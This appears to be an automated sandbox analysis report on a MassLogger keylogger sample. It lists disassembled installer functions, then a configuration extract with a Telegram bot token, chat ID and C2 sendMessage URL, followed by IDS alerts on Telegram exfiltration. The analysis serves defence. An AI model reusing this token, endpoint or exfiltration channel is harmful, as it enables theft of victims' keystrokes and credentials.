Instruction ID: 923876515d334741f157c0c1a16b9ae25b0374e488e2a62f99a19aca1c1d50f8
Opcode Fuzzy Hash: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction Fuzzy Hash: 4B116A71504119BFEF10AF90DF8CEAE7B79FB54384B10003AF905A11A0D7B49E55AA28

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 7c596801b8e97744870de8fa040c6d0eb9a7113b3dcb71ab6f8aec32acf4c673
Instruction ID: e4f3909cb7298d305a77c10ae8325f91f27f48586481a57425ae6c27891e8aa9
Opcode Fuzzy Hash: 7c596801b8e97744870de8fa040c6d0eb9a7113b3dcb71ab6f8aec32acf4c673
Instruction Fuzzy Hash: 8AF0F472600504AFDB01DBE4DE88CEEBBBDEB48311B104476F501F51A1CA74DD018B38

Function 00401D56 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040CDF8), ref: 00401DD1

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: f8a4d83ee30cd42d14a6a9659d47529e4ebc45f269bacdb6346c82beb54ce81b
Instruction ID: 434465042c296b11fe85f1af20959402fdd5081aa20827676714b0861cca44ca
Opcode Fuzzy Hash: f8a4d83ee30cd42d14a6a9659d47529e4ebc45f269bacdb6346c82beb54ce81b
Instruction Fuzzy Hash: C301A231544640EFE7015BB0EF8AB9A3F74AB66301F208579E581B62E2C9B800559BAE

Function 00404970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
wsprintfW.USER32 ref: 00404A1A
SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

%u.%u%s%s, xrefs: 004049FB

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: c2e87f168d66866e2d8dc5e8e8377fdf310bf379f9e84288a58d834ab05b21ed
Instruction ID: def2e14d0b5e9bf745060eb8ff4f21dbd1799345f736686a8e00f38c04d15d9e
Opcode Fuzzy Hash: c2e87f168d66866e2d8dc5e8e8377fdf310bf379f9e84288a58d834ab05b21ed
Instruction Fuzzy Hash: 3811EBB3A441287BDB10957D9C46EAF329C9B85374F250237FA65F31D1D978CC2182E8

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction ID: e3aefc4fd96fc6be6e01b9b250019d2d880820bae5141952ee5ed295407643d5
Opcode Fuzzy Hash: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction Fuzzy Hash: DA219071940209BEEF01AFB4CE4AABE7B75EB44344F10403EF601B61D1D6B89A409B68

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
wsprintfW.USER32 ref: 00406411
LoadLibraryW.KERNEL32(?), ref: 00406421

Strings

%s%S.dll, xrefs: 0040640B

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll
API String ID: 2200240437-2744773210
Opcode ID: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction ID: 897e15d25a7328917349fb3201836a7725472686ce540cc24b04093dc9f4d60a
Opcode Fuzzy Hash: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction Fuzzy Hash: 81F0BB7051011997DB14AB68EE4DE9B366CEB00305F11447E9946F20D1EB7CDA69CBE8

Function 0040237B Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(0040B5F0,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.ADVAPI32(?,?,?,?,0040B5F0,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.ADVAPI32(?,?,?,0040B5F0,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: 8a072e14775335605bdd4e78a6bff533e78b893741e3763667742a47c04b4826
Instruction ID: e0a93677b1043ce4e8fea40acd1fa81b7363c56b112b112c42ce1ea238d19e9d
Opcode Fuzzy Hash: 8a072e14775335605bdd4e78a6bff533e78b893741e3763667742a47c04b4826
Instruction Fuzzy Hash: 87118E71A00108BFEB10AFA5DE89EAEB67DEB44358F11403AF904B61D1D7B85E409668

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,?,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,76F923A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Part of subcall function 00405735: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
Part of subcall function 00405735: CloseHandle.KERNEL32(0040A300), ref: 0040576B

WaitForSingleObject.KERNEL32(00000000,?,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,?,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 2fccfab20e6c6224511eae8da94d64daaac4a5ffd49f94ff9cc0495680f83f6b
Instruction ID: 13991b0c54685da06ec2ee4a2e862f8a6615163aea1ca29b4ebe34551147a3b8
Opcode Fuzzy Hash: 2fccfab20e6c6224511eae8da94d64daaac4a5ffd49f94ff9cc0495680f83f6b
Instruction Fuzzy Hash: DE116131900508EBCF21AFA1CD459AE7BB6EF44354F24403BF901BA1E1D7798A919B9D

Function 00405683 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,0040A300,00441800), ref: 004056C6
GetLastError.KERNEL32 ref: 004056DA
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004056EF
GetLastError.KERNEL32 ref: 004056F9

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction ID: b9d54522e8c2a6a11acfe34e4faeeda892d25e5cd719c7a25251d408d6c76708
Opcode Fuzzy Hash: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction Fuzzy Hash: C8011A71D00619DBDF009FA0CA487EFBBB8EF14315F50443AD549B6190E7799604CFA9

Function 00402D8A Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,00402F6A,00000001,?,?,00000000,0040353A,?), ref: 00402D9D
GetTickCount.KERNEL32 ref: 00402DBB
CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402DD8
ShowWindow.USER32(00000000,00000005,?,?,00000000,0040353A,?), ref: 00402DE6

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction ID: 14797c98da9828bb931948049190d252b5e763d0d3dd0a8fb7bf7e32741345ac
Opcode Fuzzy Hash: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction Fuzzy Hash: C9F05430611A20BFC6716B50FF4D98B7B64BB84B11701457AF142B15E8CBB80C418B9C

Function 00405128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405157
CallWindowProcW.USER32(?,?,?,?), ref: 004051A8

Part of subcall function 00404165: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404177

Strings

, xrefs: 00405138

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction ID: 0347cf6c5ba133ca8876b90c0990050b6d60b288702db1d6ba02f1018bbb4e5f
Opcode Fuzzy Hash: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction Fuzzy Hash: 4C017C71A00609ABDF214F51DD80FAB3B26EB84754F104036FA047E1E1C77A8C92DE69

Function 00405C59 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405C77
GetTempFileNameW.KERNEL32(0040A300,?,00000000,?,?,?,00000000,0040329E,00441000,00441800,00441800,00441800,00441800,00441800,00441800,004034CC), ref: 00405C92

Strings

nsa, xrefs: 00405C66

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction ID: f587d7e23cd8e79aba5dfcc9fd1c49406dd64d8aef4a88ed345cfe548f7336ea
Opcode Fuzzy Hash: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction Fuzzy Hash: BAF06D76A00708BFEB008B59ED05A9FBBA8EB91750F10403AE900F7180E6B49A548B68

Function 00405735 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
CloseHandle.KERNEL32(0040A300), ref: 0040576B

Strings

Error launching installer, xrefs: 00405748

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction ID: 39588cd766b2ea89d65183b6a6bcc828c6470883592abd44c37ede1670716c40
Opcode Fuzzy Hash: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction Fuzzy Hash: B8E0B6B4600209BFEB109B64ED49F7B7AADEB04708F004665BD50F6191DB74EC158B78

Function 00405B8F Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405BB7
CharNextA.USER32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BC8
lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction ID: ee410971918da6c20df7c5ac797640abd601cb5b02c8e88895b13af08820b85c
Opcode Fuzzy Hash: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction Fuzzy Hash: 22F06231104958AFC7029BA5DD4099FBBB8EF55254B2540A9E840F7211D674FE019BA9

Source: 00000003.00000002.2660261583.000000003481B000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA", "Telegram Chatid": "2065242915"}
Source: m0CZ8H4jfl.exe.7628.3.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendMessage"}

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49980 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49984 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50006 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50006 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49992 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49992 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49986 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49986 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49988 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49988 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49980 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50002 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49996 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50004 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50002 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49996 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50004 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50028 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50030 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50028 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49984 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50030 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49982 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49978 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49982 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49978 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50020 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50020 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50008 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50008 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50026 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50034 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50010 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50026 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50034 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50010 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50016 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50016 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50024 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49998 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49998 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50024 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50038 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50038 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50018 -> 149.154.167.220:443
